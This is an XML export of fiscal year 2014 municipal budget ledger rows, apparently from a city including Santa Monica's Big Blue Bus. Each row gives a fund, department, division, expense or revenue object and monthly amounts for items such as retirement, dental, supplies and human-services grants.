<row _id="10042"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>569230.0</object><object_description>INTEREST ON SMURRF LOAN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>62750.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>62750.0</total></row>
<row _id="10043"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="10044"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25398.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25398.0</total></row>
<row _id="10045"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3100.0</total></row>
<row _id="10046"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533640.0</object><object_description>CONF / MTGS / TRAVEL-TW</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7140.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7140.0</total></row>
<row _id="10047"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>401020.0</object><object_description>ELECTION-SMUSD/SMCCD/RC</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-200000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-200000.0</total></row>
<row _id="10048"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>28845.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28845.0</total></row>
<row _id="10049"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20900.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20900.0</total></row>
<row _id="10050"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5317.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5317.0</total></row>
<row _id="10051"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7302.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7302.0</total></row>
<row _id="10052"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>27653.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27653.0</total></row>
<row _id="10053"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>19962.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19962.0</total></row>
<row _id="10054"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2889.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2889.0</total></row>
<row _id="10055"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>825.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>825.0</total></row>
<row _id="10056"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1520.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1520.0</total></row>
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<row _id="10059"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>538329.0</july><august>0</august><september>0</september><october>0</october><november>-3872.0</november><december>7807</december><january>4878.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>547142.0</total></row>
<row _id="10060"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="10061"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>72.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72.0</total></row>
<row _id="10062"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6495.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>24</december><january>66.89</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6585.89</total></row>
<row _id="10063"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>624.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>25.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>649.0</total></row>
<row _id="10064"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1452.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1452.0</total></row>
<row _id="10065"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14357.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>174</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14531.0</total></row>
<row _id="10066"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>54769.0</july><august>0</august><september>0</september><october>0</october><november>630.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>55399.0</total></row>
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<row _id="10068"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>23228.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>304</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23532.0</total></row>
<row _id="10069"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1548.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1548.0</total></row>
<row _id="10070"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561101.0</object><object_description>CLARE FOUND-GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>115205.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>115205.0</total></row>
<row _id="10071"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562120.0</object><object_description>CONNECTIONS FOR CHILDREN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>45446.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>45446.0</total></row>
<row _id="10072"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562341.0</object><object_description>SMC- The Pico Promise</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>156782.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>156782.0</total></row>
<row _id="10073"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>564132.0</object><object_description>INDEPENDENT LIVING SERVICE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>165771.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>165771.0</total></row>
<row _id="10074"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="10075"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18348.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18348.0</total></row>
<row _id="10076"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>405920.0</object><object_description>TIDE SHUTTLE HOTEL REVENUE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-377195.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-377195.0</total></row>
<row _id="10077"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6676300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>61494</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6737794.0</total></row>
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<row _id="10132"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6191.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6191.0</total></row>
<row _id="10133"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>241346.0</july><august>0</august><september>0</september><october>0</october><november>3121.0</november><december>1680</december><january>4764.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>250911.0</total></row>
<row _id="10134"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>72445.0</july><august>0</august><september>0</september><october>0</october><november>51990.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>124435.0</total></row>
<row _id="10135"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12128.0</july><august>0</august><september>0</september><october>0</october><november>7821.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19949.0</total></row>
<row _id="10136"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>367.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>367.0</total></row>
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<row _id="10138"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561131.0</object><object_description>OPCC-CASE MGMT-GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>121500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>121500.0</total></row>
<row _id="10139"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561143.0</object><object_description>ST JOE-SHELTER PLUS CARE PROG</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>36249.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36249.0</total></row>
<row _id="10140"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562121.0</object><object_description>COMPREHENSIVE CHILD CARE PROG</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>778884.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>778884.0</total></row>
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<row _id="10142"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562281.0</object><object_description>YOUTH DEVELOPMENT PROJECT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>275518.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>275518.0</total></row>
<row _id="10143"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562332.0</object><object_description>GROWING PLACE-MPCDC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>171201.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>171201.0</total></row>
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<row _id="10145"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8456.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8456.0</total></row>
<row _id="10146"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1755.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1755.0</total></row>
<row _id="10147"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544190.0</object><object_description>USAR SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9225.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9225.0</total></row>
<row _id="10148"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>400682.0</object><object_description>MEDICAL SUPPLIES REIMBURSEMENT</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-50000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="10149"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>402740.0</object><object_description>SMURRF-CITY OF LA-CAPITAL</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-161662.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-161662.0</total></row>
